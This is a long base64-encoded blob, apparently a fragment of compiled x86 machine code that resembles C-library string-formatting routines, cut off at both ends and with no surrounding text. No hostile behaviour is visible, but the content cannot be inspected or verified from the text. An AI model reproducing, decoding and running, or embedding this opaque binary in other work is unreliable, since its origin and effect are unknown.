//8BAAAAD77AD7aAwDYOCIsEhWA2Dgj/4IuFpPv//41QAYmVpPv//w+2eAGNR+A8Wg+HufP//4n4xoVk+///IMeFbPv//wEAAAAPvsAPtoDANg4IiwSFYDYOCP/gi4Wk+///jVABiZWk+///D7Z4AY1H4DxaD4d18///ifjHhWD7//8BAAAAD77AD7aAwDYOCIsEhWA2Dgj/4IuFpPv//41QAYmVpPv//w+2eAGNR+A8Wg+HOPP//4n4x4VY+///AQAAAA++wA+2gMA2DgiLBIVgNg4I/+CLlaT7//+NQgGJhaT7//8PtkIBPCoPhJcJAAAPttDHhYD7//8AAAAAg+owg/oJD4YzAwAAiceNR+A8Wg+H2PL//4n4D77AD7aAwDYOCP8khWA1DgiQjXQmAOhTKfz/6QTs//+NtgAAAAC40P///4PPIMeFlPv///////+JO2XHAAkAAADpMez//4uFbPv//4XAD4TcBQAAx4Vo+///AAAAAIuFcPv//4XAD4TvAgAAi0MUO0MYD4PiCwAAjUgBiUsUxgAti4WU+///Pf///38PhFzy//+DrXT7//8Bg8ABiYWU+///i4VA+///hcB0b4uFWPv//4XAdGWDvTT7//8QdVyLQxQ7QxgPg+gMAACNSAGJSxTGADCBvZT7//////9/D4QK8v//i0MUO0MYD4OYDAAAjUgBiUsUifmICIuFlPv//z3+//9/D4Tj8f//g610+///AoPAAomFlPv//4u9aPv//4uNdPv//4n4AdApwYX/iY2A+///dFCD7ASJlXT7//9XajBT6CW6AACDxBA5+A+FmvH//4uNlPv//4H5/v//fw+H+Q4AALj///9/i5V0+///Kcg5xw+HzwEAAIuNaPv//wGNlPv//4uFlPv//4XAD4gpDgAAi7uUAAAAifgtoNMOCDmFfPv//w+GdAkAAIPsBImVdPv//1L/tVT7//9T/1cci5V0+///g8QQOcIPhRvx//+/////f4n4K4WU+///OdAPjGIBAAABlZT7//+LlYD7//+F0g+OYu///4PsBFJqIFPoZrkAAIuVgPv//4PEEDnCD4XV8P//i4WU+///Pf7//38PhzUOAAApxzn6D4cWAQAAi5WA+///6bz1//+NtCYAAAAAi4WA+///KdCJhWj7//+LhWz7//+FwA+F/P3//4uNdPv//4uFQPv//yuNgPv//4XAiY2A+///D4To8///D7aFWPv//4iFTPv//+m08///jXYAjbwnAAAAAMaFZPv//yCJ+THSgPlYD5TCUv+1NPv///+1aPv//1DoTLz//4uVTPv//4PEEImFVPv//4XSdCeLjVD7//+FyXQdi5Vo+///g+wM/7VE+///6JvA//+JhVT7//+DxAyLhTj7//+LlWj7//+FwHQNg700+///Cg+EyAEAACuVVPv//+ma8v//jYWk+///iY00+///6Pm///+D+P+JhYD7//+LjTT7//8PhZYGAAC40P///2XHAEsAAADpk+///4uFYPv//4XAD4QZAwAAi0MUO0MYD4P/CQAAjUgBiUsUxgAr6f78//+LhWD7//+FwA+EGQMAAItDFDtDGA+DewoAAI1IAYlLFMYAK+kL8///uND///9lxwBLAAAA6Y7o//+40P///8eFlPv///////9lxwAWAAAA6aDo//+JjYD7///ojCX8/4uFpPv//4uNgPv//+nL7f//g+wM/7V4+///6N21/P+DxBDpau3//8eFgPv//wEAAADpjf7//4uFkPv//8eFYPv//wAAAADHhVz7//8AAAAAx4Vw+///AAAAAIsQi0gEg8AIiYWQ+///iZUo+///iY0s+///i4WA+///hcAPiG0EAAAPhRgBAACLlSj7//+LjSz7//+J0InKCcIPhQABAACDvTT7//8ID4XpBgAAi41Y+///hckPhNsGAACLhWj7///GhWT7//8gjVD/xkD/MImVVPv//7oBAAAAi4Uo+///C4Us+///D5XAD7bAiYVA+///6eXw//8PtwLpYfP//4uFVPv//4nR6OC///+LlWj7//+JhVT7///HhTT7//8KAAAAKcLps/D//4uFgPv//4XAD457AwAAg+wEiZV0+///UGogU+hDtgAAg8QQOYWA+///D4W07f//gb2U+////v//f4uVdPv//w+HDwsAALj///9/K4WU+///OYWA+///D4fj/f//i42A+///x4WA+///AAAAAAGNlPv//+kR8f//xoVk+///IIn4g+wMPFgPlMAPtsBQ/7U0+////7Vo+////7Us+////7Uo+///6Dq6//+LlUz7//+DxCCJhVT7//+F0nQni41Q+///hcl0HYuVaPv//4PsDP+1RPv//+ipvf//iYVU+///g8QMi4U4+///i5Vo+///hcB0DYO9NPv//woPhPcEAAArlVT7///ppv7//4uFaPv//zHSxoVk+///IImFVPv//+mO7///i410+///x4Vo+///AAAAACnRiY2A+///6R3w//8PtgKDwgTHhWD7//8AAAAAiZWQ+///x4Vc+///AAAAAMeFcPv//wAAAACJhUD7///p3O7//4uNXPv//4XJD4QS+v//i0MUO0MYD4MTCQAAjUgBiUsUxgAg6df5//+LhVz7//+FwA+EGPD//4tDFDtDGA+D3AgAAI1IAYlLFMYAIOnk7///i4WU+///hcAPiLEJAACLu5QAAACJ+C2g0w4IOYV8+///D4YuCAAAg+wEiY2A+///UVJT/1cci42A+///g8QQOcEPhdXr//+4////fyuFlPv//znBD4ce/P//AY2U+///6Sfq//+DvYD7//8FuAUAAACJlZD7//+JwQ9NjYD7//+J+DxTujAyDgiJjYD7//8PhePr//+LhYD7//+JldD7//+NveT7///HheT7//8AAAAAx4Xo+///AAAAAIXAD4g9BQAAPQAQAAAPjzoGAACLhYD7///HhXD7//8AAAAAg8Aeg+DwKcSNVCQPg+LwjYXQ+///V/+1gPv//4mVgPv//1BS6GUcAQCDxBCD+P+JwYuVgPv//w+Fh+v//+n86v//jXQmAIuFSPv//4mFgPv//4uFePv//4XAD4Rc5///g+wM/7V4+///6MCx/P+DxBDpRuf//90Ag8AIiYWQ+///3Z20+///6Yzy///dAIPACImFkPv//92dtPv//+ln8f//ifiJlZD7//8PvsAPtoDANg4I/ySF4DUOCIPsDImVgPv//1LoZNH8/4PEEInBx4Vw+///AAAAAIuVgPv//+ng6v//x4WA+///AAAAAOnw7f//i4WA+///x4Vw+///AAAAAIP4/w+E1gIAAIP4BQ+PzQIAADHJulFzDgjpo+r//8eFgPv//wEAAADpqfz//4uNkPv//8eFNPv//woAAACLQQSJwsHqH4mVcPv//5mJlSD7//+JlST7//+JyouNIPv//zMKi5Uk+///iY0o+///icGLhSD7//8x0SmFKPv//4uFkPv//4mNLPv//xmVLPv//4PACImFkPv//+kF+///i42U+///iQjB+R+JSASJ0IPABImFkPv//+nv5///jUICiYWk+///iYXQ+///D7ZCAoPoMIP4CXczjYXQ+///iY2A+///6JO5//+D+P+LjYD7//8PhKD5//+FwHQPi4XQ+///gDgkD4Q5/v//i5WQ+///v/////+LAoXAD0n4idCDwASJvYD7//+JhZD7//+LhYD7//85hXT7//8PjQIBAAA9yAMAAA+O9wAAAIuFePv//4XAD4WLBAAAgb2A+///3v//fw+PkPn//4uFgPv//414IIH/ABAAAHd2jUcex4V4+///AAAAAIPg8CnEjUQkD4Pg8AH4iYVo+///i4Wk+///D7YA6Zb1///3nXT7///GhWT7//8gx4Vs+///AQAAAOn/5///D78Cg8IEiZWQ+///6a7q//8Pt42U+///ZokIidCDwASJhZD7///pvOb//4PsDImNePv//1foDY3+/4PEEIXAi414+///D4Vq////g+wMiY1o+///V+jNq/z/g8QQhcCJhXj7//+LjWj7//8PhGLh//8DvXj7//+JvWj7//+LhaT7//8PtgDp7/T//4uFVPv//4nR6L+5//+LlWj7//+JhVT7//8pwuma+f//iZV0+///6EEe/P+LlXT7///pdvb//4mVgPv//+grHvz/i5WA+///6XXs//8PvgKDwgSJlZD7///p1+n//w+2jZT7//+ICInQg8AEiYWQ+///6ebl//+LhWj7//8x0saFZPv//yCJhVT7///pKvn//7kGAAAAukgzDgjp0+f//7jM////ZYsAiwCLUCiLQCyJxw+2AImVRPv//4TAD4T/AAAAPH8PhPcAAACAOgC6AAAAAA9F14mVUPv//+mj8v//iY1k+///iZVo+///6Hsd/P+LjWT7//+LlWj7///pKej//4mFaPv//4mNdPv//+hZHfz/i4Vo+///i410+///6ZLk//+J9zHAg8n/8q6JyldX99JSVuhiUgEAg8QQhcCJhTz7//8PiYPw//+D7Axo8DIOCOjkHPz/UFBqLYmVgPv//1PopEz8/4PEEIP4/4uVgPv//w+FBfT//+lt5v//UFBqLYmVdPv//1PofUz8/4PEEIP4/4uVdPv//w+FE+r//+lG5v//UFBqJVPoXEz8/4PEEIPAAQ+Fwev//+kr5v//x4VQ+///AAAAAOmz8f//jYXQ+///V2oAiZWA+///UGoA6FUXAQCDxBCD+P+JwQ+E9+X//4uF5Pv//4uVgPv//4XAiYVw+///D4UcAwAAjUEBiZXQ+///PQAQAACJhYD7//8Ph6wCAACLhYD7//+DwB6D4PApxI1UJA+D4vCNhdD7//9X/7WA+///iY1o+///iZWA+///UFLo3hYBAIPEEIuVgPv//4uNaPv//+kA5v//iZWA+///UFBqK+nh/v//6CaQ/v9QUIn4D7bAiZWA+///UFPockv8/4PEEIPAAYuVgPv//w+FTPP//+k75f//UFBqMFOJlYD7///oS0v8/4PEEIPAAYuVgPv//w+F//L//+kU5f//g+wMUOjbif7/g8QQhcAPhbL5//+D7Az/tYD7///ooqj8/4PEEIXAicIPhOXk///HhXD7//8BAAAA6af5//+JlXT7//9QUGor6WT+//+D7AyJjWj7//+JlZD7//9X6IKJ/v+DxBCFwIuVkPv//4uNaPv//w+FT+T//4PsDImNaPv//4mVkPv//1foNqj8/4PEEIXAiYV4+///i5WQ+///i41o+///D4TF3f//A714+///ib1o+///6SPk//+D7Az/tXj7//+JjWj7///oNKv8/4PEEIuNaPv//+lT+///D7bSUVFSU+hKSvz/g8QQg8ABD4V27f//6Rnk//9QUIn4D7bAiZV0+///UFPoJUr8/4PEEIPAAYuVdPv//w+FLej//+nu4///iZV0+///UlJqMFPo/kn8/4PEEIPAAYuVdPv//w+F4Of//+nH4///iY10+///iZWA+///6DYa/P+LjXT7//+LlYD7///psPf//4PsDImNaPv//1foZoj+/4PEEIXAi41o+///D4X17f//g+wMiY1o+///V+gmp/z/g8QQhcCJhXj7//+LjWj7//8PhLvc//8DvXj7//+JvWj7///p1e3//4mVdPv//1BQaiDp3Pz//4mVgPv//1JSaiDppvz//2gwMw4IaGQGAABoNjIOCGjMMg4I6FeF+/+D7AyJjWj7//9Q6NiH/v+DxBCFwIuNaPv//w+FNP3//4PsDP+1gPv//4mNaPv//+iTpvz/g8QQhcCJwg+E1uL//8eFcPv//wEAAACLjWj7///pE/3//2gwMw4IaGUGAABoNjIOCGhBMg4I6OiE+/9oMDMOCGhlBgAAaDYyDghonDIOCOjPhPv/aDAzDghoZAYAAGg2Mg4IaJwyDgjotoT7/2gw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XhCLeyyAPwCJvXj///91DItWBIt6JIm9eP///4u70AAAAIX/iX2AdQyLfYiLVwSLejCJfYCLfZgPtlcMhNIPiT////+LWzSJXYzpAwgAAJCNdCYA3QDb6A+KfggAAN1VoN1FoNnl3+Dd2IDkRYD8BQ+EHgMAAI1FrIPsEI111N0cJFCNRbhQagJW6K0jAgCJwolFwIPEIMHiBY1KzIlNlItduMdFyAAAAACJ2cH5H4nKMdopyoPCH8H6BY0UlS4AAADB6gTB4gQp1I1MJA8p1I18JA8p1I1UJA+D4fCD5/CJTbyD4vCD+wKJfcyJVcQPjycJAACF2w+IpxMAAANdlFNQVlHoYxQCAItVwIPEEI1KAYlNwItNvIkEkcdFuAAAAACLRZiLSASLUAi48P///4mNUP///2WLAIsEkDxliYVM////D4QqDgAAgL1M////Zg+EoBAAAItFmIsIuAEAAACFyQ9FwbkGAAAAD0jBi02whckPhJsPAACDfbgED48nEAAAx0W0ZgAAAMeFbP///wAAAACJwSuNbP///41YBYmdXP///4mNfP///4nLiYVA////i0WYx0WUAAAAAPZADAi4AAAAAA9FhXz///+JhWT///+LRYyFwA+EPREAAA+2AMeFVP///wAAAACNUP+IRYQxwID6fQ+GUA8AAIuNXP///41EAQGJhVz///+LhVz///89/P//Pw+HSwcAADnYD4JDBwAAi4Vc////jRyFCAAAAIH7ABAAAA+H5xcAAIPDHseFRP///wEAAACD4/Ap3I1EJA+D4PCJhVj///+LhVj///+DwAiJhWD///+LRbCFwHQKg320Zg+EfRQAAIu9bP///4X/D44TGAAAjUWwi51Y////MfaJRYSJx5CJ+IPGAeiW+P//ObVs////iUSzBHXqi4Vg////i41s////ibVI////jQSIi02Y9kEMCHUOi7Vk////hfYPjoMWAACLTYCNeATHRZQBAAAAiQiLnWT///8x9seFaP///wAAAAA53onZfB2NtCYAAAAAObV8////D46BCAAAg33AAQ+OaggAAItFhOgS+P//g/gwdVWLVZSF0nVOi5Vk////g4V8////AcdFlAAAAACF0n4Wg4Vo////AYnTi41o////AcuQjXQmAIPGAYkHg8cEOd6J2X2ai0WE6ML3//+D+DB0sJCNdCYAx0WUAQAAAOvXjbQmAAAAANnl3+Dd2OsC3diJxotFmL87Nw4IgeYAAgAAu0w3DgiJdayLSAi4+P///2WLAA+3BEi5fDcOCGYlAAG4RzcOCA9E+A9E2Yl9jItFmIX2i0AED4QaAQAAjXj8hf8Pn0WUg+IgD7ZFlA+FqxwAAITAD4SjHAAAi0WQhcAPhXIBAACD7ARXaiD/dZzoy58AAIPEEInGOf4PhU4FAACLRayJ98ZFlAGFwA+EHQUAAItFkIXAD4TqBAAAi0Wci0BYhcAPhDQIAACLUBA7UBQPgygIAACNSgSJSBDHAi0AAACDxgGLVZCNRgOJRZCF0g+ESAMAAI0EtQAAAACJfYwpw4nfi0Wciwy3i0BYhcAPhIkDAACLUBA7UBQPg30DAACNWgSD+f+JWBCJCg+UwITAD4W3BAAAg8YBO3WQdcWLRZiLfYz2QAwgD4TPAgAAgH2UAA+ExQIAAIPsBFdqIP91nOgHoAAAg8QQ6R0DAACNtCYAAAAA9sJQdFuNePyF/w+fRZT2wiAPtkWUdQiEwA+F5f7///bCQHR8i0WQhcAPhIEDAACLRZyLQFiFwA+EIwoAAItQEDtQFA+DFwoAAI1KBIlIEMcCKwAAAOkS////jbYAAAAAjXj9hf8Pn0WU9sIgD7ZFlHWthMB0qYtFkIXAD4SO/v//g+wEV2og/3Wc6GmfAACDxBCJxumJ/v//jbQmAAAAAIPiEA+Exv7//4tNkIXJD4Q8BAAAi0Wci0BYhcAPhJ8FAACLUBA7UBQPg5MFAACNSgSJSBDHAiAAAADpjf7//4n2jbwnAAAAAMZFhAHZfaoPt0WqZiUADGY9AAQPhHgMAAAPhrEJAABmPQAID4RPDAAAZj0ADA+FQAwAADnOfxPrF420JgAAAACD7gGD7wQ5znQGg3/8MHTwhfZ1FYtFmPZADAh1DItNgDlP/I1H/A9E+ItdjIXbdDmLjUj///85jWz///8PhD8NAACLhUj////HhVT///8AAAAAiUWUi0WMD7YAiEWEg+gBPH0PhgkTAACLRbSD+GZ0bYtNsIXJD4UrCwAAi124jXcIiQe4KwAAAIP7CYlHBA+OjwsAALkKAAAAjbYAAAAAjQyJAck52X73v2dmZmZmkInIwfkfg8YE9++J2MH6AinKidGZ9/mDwDCD+QqJ04lG/H/diVW4g8MwjX4EiR6LRayLTZiFwA+2UQx1BfbCUHQHg61Q////AYn7K51g////i7VQ////idnB+QIpzoPiIIl1lA+FdwYAAItNmIX2i1EQD45pBgAAg/owD4RgBgAAi0WQhcAPhB4TAACD7ARWUv91nOiInQAAg8QQicY7dZSLRawPhDkGAACLhUT///+FwA+F6QEAAIPsDP+1WP///77/////6Laa/P+DxBCNdgCLTeRlMw0UAAAAifAPhVkYAACNZfRbXl9dw422AAAAAItdjIl9jIt9nCnzi0cUO0cYD7YUMw+DpQEAAI1IAYlPFIgQg8YBO3WQdeCLRZiLfYz2QAwgdKmAfZQAdKOD7ARXaiD/dZzo1ZsAAIPEEDn4D4VaAQAAAcbrho22AAAAAIPsCFH/dZzoVKMAAIPEEIP4/w+UwOl3/P//jbYAAAAAi1ssiV2Mi12MD7YbiF2Ug+sBgPt9D4cc9///i12QhdsPhDoBAACEwItFiA+EvwIAAItAEIuA1AAAAImFdP///4uFdP///8eFcP///wAAAACFwLgAAAAAD0VFjIlFjOnv9v//kI10JgCLTZyLQRQ7QRgPg8YJAACLTZyNUAGJURTGACvpnPv//5CNtCYAAAAA2eXf4N3Y6wqQjbQmAAAAAN3YicaLRZi/PzcOCIHmAAIAALtcNw4IiXWsi0gIuPj///9liwAPtwRIuWw3DghmJQABuEM3DggPRPgPRNmJfYzpq/r//412AItNnItBFDtBGA+DAQYAAItNnI1QAYlRFMYALekc+///kI20JgAAAACLRZgPtlAM6bv7//+40P///2XHACIAAACQjbQmAAAAAL7/////6Sb+//+NtgAAAACD7AhSV+j2N/z/g8QQg/j/D4VN/v//69iQjbQmAAAAAITAi0WID4SdAQAAi0AQi0AwiYVw////i51w////uAAAAACAOwAPRUWMgDsBiUWMGcD30IPg/omFdP///+mx9f//jbQmAAAAAItNnItBFDtBGA+DXxAAAItNnI1QAYlRFMYAIOlc+v//kI20JgAAAACLfZSNFDv2wh8PhSIJAACJx4PvAYl9lA+IDQ4AAI16H4XSiUWED0jXi32UwfoFjQyRiwS+iQS5g+8Bg///dfKLRYQB0IlFwIXSfhqLRbyNFJCNtCYAAAAAxwAAAAAAg8AEOcJ18zHSidmLRci+MIQOCMdFlAAAAAC/DAAAAInT61CNtCYAAAAAixaLRgSD7ASNFJVghA4IiUXQweACUFL/dczoqcv8/4tV0IPEEDlVwA+PYgEAAA+EPAEAAItFyIPvAYH+YIMOCA+GsgEAAItNuIPuEItWCAHag+oBOcp/34XAdKSLTgSD7AyNUf5SixaNFJVohA4IUlD/dcT/dczoDAsCAItWBIPEIANVyIXAD4RLAQAAg+oCiVXQ65CNdgCLQASLQDSJhXT////pP/3//420JgAAAACLQASLQCiJhXD////pXv7//4PsCGogZpD/dZzoGKAAAIPEEIP4/w+UwITAD4Tr+P//6fL9//9mkItFvIsAhcAPhYn3//+LR/w7RYCJhXz///8PhJEFAACLRYSJTZTohu///4P4MInCi02UD5XDg/g1D5XAIMOIXYQPhR76//+LRcCD+AEPhIgLAACLXciF2w+FA/r//4XAiUWUD4T8+f//i128kI10JgCDfIP8AA+F5fn//4PoAXXw6d/5//+NdgCD7ARS/3XM/3W86BkFAgCDxBCFwItV0A+Ip/7//412AIPsBIlVyMHiAlL/dcz/dcToI8r8/4tFyItVxIPEEA+9TIL8jVD+weIFg/HgjRwRugEAAACJ+dPiCVWU6Wf+//+QjbQmAAAAAIPqA4lV0OlC/v//kI10JgCD7AhqLenW/v//jbYAAAAAi02UhcCJTbgPjnj0//+LTcSLEYlNhIXSD4XCEQAAi328izeF9g+FfhEAAI1xBDHbiYVs////6xaQjbQmAAAAAIsUn412BIXSD4WpBQAAixaDwwGJ8YldlI0EnQAAAACF0nTdiYV8////i3WEi4Vs////D710hvyD9h8PhKEFAADzD7zSiZVs////i5V8////ixQXhdJ0FYu9bP////MPvNI51w9O14mVbP///7ogAAAAKfKF2w+FZwwAADmVbP///w+MDhAAACnYUolVlFBRjXMB/3WE6FYIAgCLfbyLRcCLjXz///+LVZQpdcgp2AH5UlBRV+g3CAIAi0XAi028g8QgicIp8Cnai1yR/IXbD0TQiVXA6W3z//+NtCYAAAAAMfaFwA+EnwMAAItNkIXJD4SFCgAAi0Wci0BYhcAPhC4QAACLUBA7UBQPgyIQAACNSgSJSBDHAi0AAACLRZiDxgEPtkAMqCB1OItFmIN4EDB1L4tFlIXAfiiLVZCF0g+EqhAAAIPsBFBqMP91nOjOlgAAg8QQO0WUD4VL+f//A3WUi02QhckPhTUJAACLRZi7AQAAAPZADQh0CItFiIsAi1hYg+wM/7V4////6PCz/P+JRYyLhXD///+DxBCFwA+EtA8AAIPsDFDo07P8/4nBiYV8////i4VU////g8QQD6/BD6+dXP///4tNjI1UGQIB0IuVRP///4mFbP///4XSD4RaEAAAi4Vs////g8Aeg+DwKcSNRCQPg+DwiUWIi4Vg////OccPhiwQAACJw4uNdP///4tFiIm1dP///4t1gOsfjbQmAAAAADnRD4QeBAAAiBCDwAGDwwQ53w+GmAkAAIsTOfJ14oPsBP91jP+1eP///1CJTYTotcX8/4PEEItNhOvSkI10JgCD7AhqLVHoPTL8/4PEEIP4/w+UwOkg/P//jbQmAAAAAIPsCGor6f77//+NtgAAAACLRZiJVbSLGIXbD4joCgAAjUMIiYVc////idiJhXz///+JhWT////HRZQBAAAAx4VA////////f8eFbP///wEAAADpGPL//5BmhcAPhZoCAACD+jQPjlH2///2hXz///8BdQqAfYQAD4Q+9v//hfaJ+A+OiAAAAItf/DtdgI1H/A+EPQ8AADHSg/s5D4UyCQAAiU2Ui02A6xCNtCYAAAAAg/s5D4UXCQAAxwAwAAAAg+gEixiDwgE5y3XlOZVk////D4XaCwAAi5Vo////hdIPjswLAACDrWj///8BO12AD4S8CwAAi41k////A41o////g8MBiRg5XYAPhaz1//+LVYA5UPyNWPyLlWD///8PRMONWPw503Ioi0D8g/g5dBPpGwkAAI12AIsDg/g5D4UNCQAAxwMwAAAAg+sEOdp26IN9tGYPhH8MAACLhVj///+LVbDHQAgxAAAAMcCF0g+VwPfYg8gBAUW4dQfHRbAAAAAAi4VI////jRwwi4VA////OdgPjSL1//8pw40EnQAAAAAp3inH6RD1//+QjXQmAItduDnYD46LAAAAjUsBx0W0ZgAAAImNbP///+lg8P//kI20JgAAAACLR/iJhXz////pYfr//2aQi1WMi4Vs////6GLt//+JhVT////pl/D//4tFmA+2QAyoQA+EAgcAAItFkIXAD4R2CgAAi0Wci0BYhcAPhH0NAACLUBA7UBQPg3ENAACNSgSJSBDHAisAAADpTfz//41I/4PqAseFbP///wEAAACJVbSJjXz///+Jy41IB4mNXP///+na7///gL1M////Z4tduHUJg/sED4TxCwAAiQeNdwi4LQAAAOm+9P//i0WYx0W0ZgAAAIsYhduJ2A+IKAoAAIt1sIX2D4V4BwAAi1W4iYV8////iYVk////x0WUAQAAAMeFQP///////3+NegGNTBoCib1s////iY1c////6YPv//+NdwzHRwgwAAAA6aP0///oWLX7/4tdrIXbD4Ww8///g/o0D45f/f//6WT9//+LRayFwHXr6Zbz//+D7AhqK+m2/P//iYV8////i3WEi4Vs////D710hvyD9h90ETH/8w+8+om9bP///+mL+v//KdiFwH4ji3WEi418////MdIB8Y10JgCLBJGJBJaLRciDwgEp2DnQf+6LVcCJRcgp2oXSD463+v//i418////McAB+Y10JgCLFIGJFIeLVcCDwAEp2jnCf+7pkvr//8eFVP///wAAAADp4u7//4PsBP+1fP////+1cP///1CJTYToqsH8/4PEEItNhOnE+///idPB+x/B6xuNPBqD5x8p34XSV1CNQh9WD0nCwfgFjQSBUOj4AQIAi124i1WUicaDxBAB2o1CH4XSD0jQi0XAwfoFAdCF9olFwA+Ex/b//41IAYlNwItNvIk0gem29v//i4Vs////iUWUi7VU////hfYPhNHy//+LnWD///+LTZSJ+oPsBI0EiwHOweYCKcLB+gJSUInYAfBQ6AH1AACLRYyNVDP8iX2Ei32Ug8QQD74YjbYAAAAAi4Vg////id6JXZT33o0MuDHAjbYAAAAAi1yB/IkcgoPoATnGdfKLXZSNBJ0AAAAAKd/32I0MAo1UAvyLhXT///+JAYtFjA++WAGA+390EITbeAyE23RBg0WMATn7cqGJfZSLnWD///+LTZSLfYSNRIv8jbYAAAAAiwiD6gSD6AQ504lKBHLxi4VU////jTyH6fzx//+NdgCLRYwPvhjru/91lFC/MIQOCFZR6LgAAgCLVcCDxBDHhXz///8MAAAAx4Vg////AAAAAI1KAYlNwItNvIkEkYtFuMdFsAEAAAD32IlFlIlFuIPvEItFlDlHDA+PUQEAAItHBItVwIPoAjnCD42IAQAAg+wMUv91vFCLB40EhWiEDghQ/3XM6AYBAgCDxCCLTcCLVwQByoXAD4RDAQAAjUL+iYVs////iUXQi0XMicOJhWj///+LhWz///+NVIP8KcjB4AUPvRqNcB+LRbiNSAOJRZSD8x8p3oldhDnOD4Q4AQAAjVACOdYPj8MAAAAPto18////KfCLdYSJw4lFlIlFuLgBAAAA0+CLjWj///8JhWD///+J8CnYhdsPScaJRYSLAYXAD4W4BgAAicgx9om9ZP///4PABOsJjbQmAAAAAIneiceDwASLUPyNXgGF0onZdO2DfYQfib1c////i71k////D4QoAQAAuB8AAAArRYTzD7zSOcIPjSsGAABQi4Vo////i5Vs////jQSwKfJSUP91vOiX/wEAi0XQg8QQKfCJRcCLRbiJRZSNtgAAAACDrXz///8Bgf9wgw4ID4RaBAAAi0WUhcAPj4L+//+LhWD///+JRbjpqur//410JgCNQv2JhWz///+JRdDpuP7//420JgAAAACD7AxQiweNBIVohA4IUFL/dbz/dczofv8BAIPEIOlz/v//g/scD492BAAAuRwAAADHRdwAAAAAKdm7CgAAANPjidmJXeCNWAI53g+Opf7//zkKD4Kd/v//D4S6BwAAiUWU6VL///+LhVj///+LTYCDbbgBx4VI////AAAAAMdACDAAAACNeBCJSAyNRbCJRYTpxOv//zHbMcmLlWz///8p2oXSfiWLhWj///+LdbyNDIgxwJCNdCYAixSBiRSGi1XQg8ABKdo5wn/uiVXA6eb+//+LRbyLAIXAuAEAAAAPRdiIXYTpc+7//4tFmPZADQgPhTwGAADHRYwAAAAAjUMDid/B/wKD+AYPhuEDAADHRYgAAAAAi0Wci4iUAAAAuLTXDggtoNMOCInKgeqg0w4IOdAPhhYHAACLRZCLXYyFwA9FnWD///+D7ARXAf5T/3Wc/1Ecg8QQOfgPhZLv//+LnUT///+F2w+EQAcAAItFmPZADCAPhJ7v//+LfZSF/w+Ok+///4tVkIXSD4SGBQAAg+wEV/9wEP91nOjJjAAAg8QQAcY7RZQPhUTv///pZu///4